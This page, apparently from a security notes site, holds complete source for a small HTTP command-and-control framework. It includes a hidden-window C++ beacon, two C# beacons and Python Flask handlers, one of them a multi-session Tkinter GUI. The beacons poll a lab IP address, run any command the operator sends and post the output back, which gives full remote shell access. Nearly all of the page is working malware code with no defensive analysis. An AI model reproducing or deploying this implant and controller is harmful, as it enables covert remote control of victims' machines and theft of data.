HTTP mini C2
Beacon
C++ Version
To compile with Visual Studio: Properties > Linker > Input > add winhttp.lib and Properties > Linker > System > Change from console to window
#include <windows.h>
#include <winhttp.h>
#include <string>
#include <sstream>
#include <iomanip>
#pragma comment(lib, "winhttp.lib")
// Function to URL encode a string
std::string UrlEncode(const std::string& value) {
std::ostringstream escaped;
escaped.fill('0');
escaped << std::hex;
for (std::string::const_iterator i = value.begin(), n = value.end(); i != n; ++i) {
std::string::value_type c = (*i);
if (isalnum(c) || c == '-' || c == '_' || c == '.' || c == '~') {
escaped << c;
}
else if (c == ' ') {
escaped << '+';
}
else {
escaped << '%' << std::setw(2) << std::uppercase << ((int)c) << std::setw(0);
}
}
return escaped.str();
}
// Function to execute a command
std::string ExecuteCommand(const char* cmd, const char* params) {
std::string result = "";
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
std::string fullCmd = std::string(cmd) + " " + std::string(params);
// Create pipes for communication
HANDLE g_hChildStd_OUT_Rd = NULL;
HANDLE g_hChildStd_OUT_Wr = NULL;
SECURITY_ATTRIBUTES saAttr;
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0);
SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0);
si.hStdOutput = g_hChildStd_OUT_Wr;
si.hStdError = g_hChildStd_OUT_Wr;
si.dwFlags |= STARTF_USESTDHANDLES;
// Create child process
if (!CreateProcessA(NULL, (LPSTR)fullCmd.c_str(), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
return "";
}
CloseHandle(g_hChildStd_OUT_Wr);
DWORD dwRead;
CHAR chBuf[4096];
// Read command output
for (;;) {
bool bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, 4096, &dwRead, NULL);
if (!bSuccess || dwRead == 0) break;
result.append(chBuf, dwRead);
}
// Clean up
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(g_hChildStd_OUT_Rd);
return result;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
LPCWSTR serverName = L"192.168.187.137";
HINTERNET hSession = WinHttpOpen(L"A WinHTTP Example Program/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, serverName, INTERNET_DEFAULT_HTTP_PORT, 0);
std::string lastCommand = "";
std::string response = "";
std::string command = "";
std::string commandParams = "";
while (true) {
if (commandParams != lastCommand) {
response = ExecuteCommand(command.c_str(), commandParams.c_str());
lastCommand = commandParams;
}
else {
response = "None";
}
std::string postData = "response=" + UrlEncode(response);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
WinHttpAddRequestHeaders(hRequest, L"Content-Type: application/x-www-form-urlencoded", (ULONG)-1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
(LPVOID)postData.c_str(), postData.length(),
postData.length(), 0);
WinHttpReceiveResponse(hRequest, NULL);
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer;
std::string httpResponse;
do {
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
break;
}
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer) {
dwSize = 0;
break;
}
else {
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {
}
else {
httpResponse.append(pszOutBuffer, dwDownloaded);
}
delete[] pszOutBuffer;
}
} while (dwSize > 0);
if (httpResponse == "exit") {
break;
}
size_t pos = httpResponse.find(' ');
command = httpResponse.substr(0, pos);
commandParams = pos != std::string::npos ? httpResponse.substr(pos + 1) : "";
Sleep(3000);
WinHttpCloseHandle(hRequest);
}
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 0;
}
C# Version
- Version sending initial empty response and wait for instructions
using System.Collections.Generic;
using System.Net.Http;
using System.Threading;
using System;
namespace ConnectBack
{
public class Program
{
private static readonly HttpClient client = new HttpClient();
public static async System.Threading.Tasks.Task Main(string[] args)
{
string res = "";
string strCommand = "";
string strCommandParameters = "";
string last_command = "";
while (true)
{
if (!string.Equals(strCommandParameters, last_command))
{
System.Diagnostics.Process pProcess = new System.Diagnostics.Process();
pProcess.StartInfo.FileName = strCommand;
pProcess.StartInfo.Arguments = strCommandParameters;
pProcess.StartInfo.UseShellExecute = false;
pProcess.StartInfo.RedirectStandardOutput = true;
pProcess.Start();
res = pProcess.StandardOutput.ReadToEnd();
pProcess.WaitForExit();
last_command = strCommandParameters;
}
else
{
res = "None";
}
var values = new Dictionary<string, string>
{
{ "response", res }
};
var content = new FormUrlEncodedContent(values);
var response = await client.PostAsync("http://192.168.187.137:80/", content);
var resp = await response.Content.ReadAsStringAsync();
resp = resp.Trim();
if (string.Equals(resp, "exit"))
{
Console.WriteLine("Exiting");
return;
}
// Split the command and arguments
string[] commandParts = resp.Split(' ', 2);
strCommand = commandParts[0];
strCommandParameters = commandParts.Length > 1 ? commandParts[1] : "";
Thread.Sleep(3000);
}
}
}
}
- Version opening cmd.exe first along with whoami command and then waiting for instructions
using System.Collections.Generic;
using System.Net.Http;
using System.Threading;
using System;
namespace ConnectBack
{
public class Program
{
private static readonly HttpClient client = new HttpClient();
public static async System.Threading.Tasks.Task Main(string[] args)
{
string res = "";
string strCommand = "cmd.exe";
string strCommandParameters = "/C whoami";
string last_command = "";
while (true)
{
if (!string.Equals(strCommandParameters, last_command))
{
System.Diagnostics.Process pProcess = new System.Diagnostics.Process();
pProcess.StartInfo.FileName = strCommand;
pProcess.StartInfo.Arguments = strCommandParameters;
pProcess.StartInfo.UseShellExecute = false;
pProcess.StartInfo.RedirectStandardOutput = true;
pProcess.Start();
res = pProcess.StandardOutput.ReadToEnd();
pProcess.WaitForExit();
last_command = strCommandParameters;
}
else
{
res = "None";
}
var values = new Dictionary<string, string>
{
{ "response", res }
};
var content = new FormUrlEncodedContent(values);
var response = await client.PostAsync("http://192.168.187.137:80/", content);
var resp = await response.Content.ReadAsStringAsync();
resp = resp.Trim();
if (string.Equals(resp, "exit"))
{
Console.WriteLine("F");
return;
}
strCommandParameters = "/C " + resp;
Thread.Sleep(3000);
}
}
}
}
Handler
Console Version
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['POST'])
def command_and_control():
data = request.form['response']
print("Received data: ", data)
# You can enter your command here, for example: dir, whoami, etc.
# After executing a command on the C# client, it will wait for the next command
command = input("Enter command: ")
return command if command else "exit"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
GUI Version
import threading
import sys
from flask import Flask, request
from tkinter import *
from tkinter import ttk
from tkinter.scrolledtext import ScrolledText
from tkinter import font as tkFont
app = Flask(__name__)
clients = {} # Store client data as {client_ip: output_text_widget}
current_client_ip = None # Track the currently selected client
class TextRedirector(object):
def __init__(self, widget):
self.widget = widget
self.filter_strings = [
"* Serving Flask app",
"* Environment: production",
"WARNING: This is a development server.",
"Use a production WSGI server instead.",
"* Debug mode: off",
"* Running on all addresses.",
"* Running on http://"
]
def write(self, str):
if any(filter_str in str for filter_str in self.filter_strings):
return
self.widget.configure(state='normal')
self.widget.insert('end', str)
self.widget.configure(state='disabled')
self.widget.see('end')
def flush(self):
pass
def start_flask_app():
app.run(host='0.0.0.0', port=80, use_reloader=False)
@app.route('/', methods=['POST'])
def command_and_control():
client_ip = request.remote_addr
data = request.form['response']
display_data(client_ip, data)
command = wait_for_command(client_ip)
if command == "exit":
if client_ip == current_client_ip:
remove_client_after_exit(client_ip)
return "exit"
return command
def display_data(client_ip, data):
if client_ip not in clients:
add_client(client_ip)
formatted_data = f">> Received Response:\n{data}\n" if data else "\n"
if clients[client_ip]:
clients[client_ip].after(0, lambda: update_text_area(clients[client_ip], formatted_data))
def update_text_area(text_widget, data):
text_widget.configure(state='normal')
text_widget.insert('end', data)
text_widget.configure(state='disabled')
text_widget.see('end')
def wait_for_command(client_ip):
input_event.wait()
input_event.clear()
command = entry_field.get()
entry_field.delete(0, 'end')
if command:
display_command(command)
return command
def display_command(command):
if current_client_ip and clients[current_client_ip]:
formatted_command = f"$ {command}\n\n"
update_text_area(clients[current_client_ip], formatted_command)
def remove_client_after_exit(client_ip):
root.after(1000, lambda: remove_client(client_ip)) # Adjust delay as needed
def remove_client(client_ip):
if client_ip in clients:
clients[client_ip].pack_forget()
clients.pop(client_ip)
client_list.delete(client_list.get(0, END).index(client_ip))
update_client_list_selection()
def add_client(client_ip):
if client_ip not in clients:
client_text_area = ScrolledText(client_frame, wrap='word', bg="#2d2d2d", fg="#ffffff", font=("Consolas", 10), state='disabled', height=5)
client_text_area.pack(padx=10, pady=10, fill='both', expand=True)
clients[client_ip] = client_text_area
client_list.insert(END, client_ip)
update_client_list_selection()
def on_enter_command(event=None):
input_event.set()
def on_client_select(event):
global current_client_ip
selection = event.widget.curselection()
if selection:
index = selection[0]
current_client_ip = event.widget.get(index)
for ip, text_area in clients.items():
text_area.pack_forget()
clients[current_client_ip].pack(padx=10, pady=(5, 0), fill='both', expand=True)
update_client_list_selection()
def update_client_list_selection():
all_clients = client_list.get(0, END) # Get all items in the client list as a tuple
for i in range(client_list.size()):
client_list.itemconfig(i, {'bg': 'white'})
if current_client_ip and current_client_ip in all_clients:
index = all_clients.index(current_client_ip)
client_list.itemconfig(index, {'bg': 'light coral'})
elif not current_client_ip or current_client_ip not in all_clients:
# This handles the case where there's no current client selected or it's been removed
# Optionally clear the selection or take any other necessary action here
pass
def on_right_click(event):
global current_client_ip
try:
# Ensure selection is set to the item under the cursor
event.widget.selection_clear(0, END)
event.widget.activate(event.widget.nearest(event.y))
event.widget.selection_set(event.widget.nearest(event.y))
current_client_ip = event.widget.get(event.widget.nearest(event.y))
# Create and display the context menu
context_menu = Menu(root, tearoff=0)
context_menu.add_command(label="Interact", command=interact_with_client)
context_menu.add_command(label="Exit", command=exit_client)
context_menu.post(event.x_root, event.y_root)
except:
pass
def interact_with_client():
entry_field.focus()
def exit_client():
global current_client_ip
if current_client_ip:
entry_field.insert(END, "exit")
input_event.set()
remove_client_after_exit(current_client_ip)
current_client_ip = None
# Initialize the GUI
root = Tk()
root.title("C2 - SergioF20")
# Center the window on the screen
window_width = 1200
window_height = 800
screen_width = root.winfo_screenwidth()
screen_height = root.winfo_screenheight()
x_coordinate = int((screen_width / 2) - (window_width / 2))
y_coordinate = int((screen_height / 2) - (window_height / 2))
root.geometry(f"{window_width}x{window_height}+{x_coordinate}+{y_coordinate}")
root.configure(bg="#1e1e1e")
notebook = ttk.Notebook(root)
client_frame = Frame(notebook, bg="#1e1e1e")
logs_frame = Frame(notebook, bg="#1e1e1e")
notebook.add(client_frame, text='Sessions')
notebook.add(logs_frame, text='Logs')
notebook.pack(expand=True, fill='both')
client_list_frame = Frame(client_frame, bg="#1e1e1e")
client_list_frame.pack(padx=10, pady=(10, 0), fill='x')
client_list = Listbox(client_list_frame, bg="#252526", fg="#c792ea", font=("Consolas", 10))
client_list.pack(side='left', fill='both', expand=True)
client_list.bind("<<ListboxSelect>>", on_client_select)
client_list.bind("<Button-3>", on_right_click) # Bind right-click event
command_frame = Frame(client_frame, bg="#1e1e1e")
command_frame.pack(padx=10, pady=(0, 10), fill='x', side='bottom')
entry_field = Entry(command_frame, bg="#252526", fg="#c792ea", insertbackground="#c792ea", font=("Consolas", 10))
entry_field.pack(side='left', fill='both', expand=True)
entry_field.bind("<Return>", on_enter_command)
enter_button = Button(command_frame, text="➤", bg="#3e3e42", fg="#c792ea", font=("Consolas", 10))
enter_button.pack(side='left', padx=(5, 0))
input_event = threading.Event()
logs_text_area = ScrolledText(logs_frame, wrap='word', bg="#2d2d2d", fg="#ffffff", font=("Consolas", 10), state='disabled')
logs_text_area.pack(padx=10, pady=10, fill='both', expand=True)
sys.stdout = TextRedirector(logs_text_area)
sys.stderr = sys.stdout
threading.Thread(target=start_flask_app, daemon=True).start()
root.mainloop()
sys.stdout = sys.__stdout__
sys.stderr = sys.__stderr__
Last updated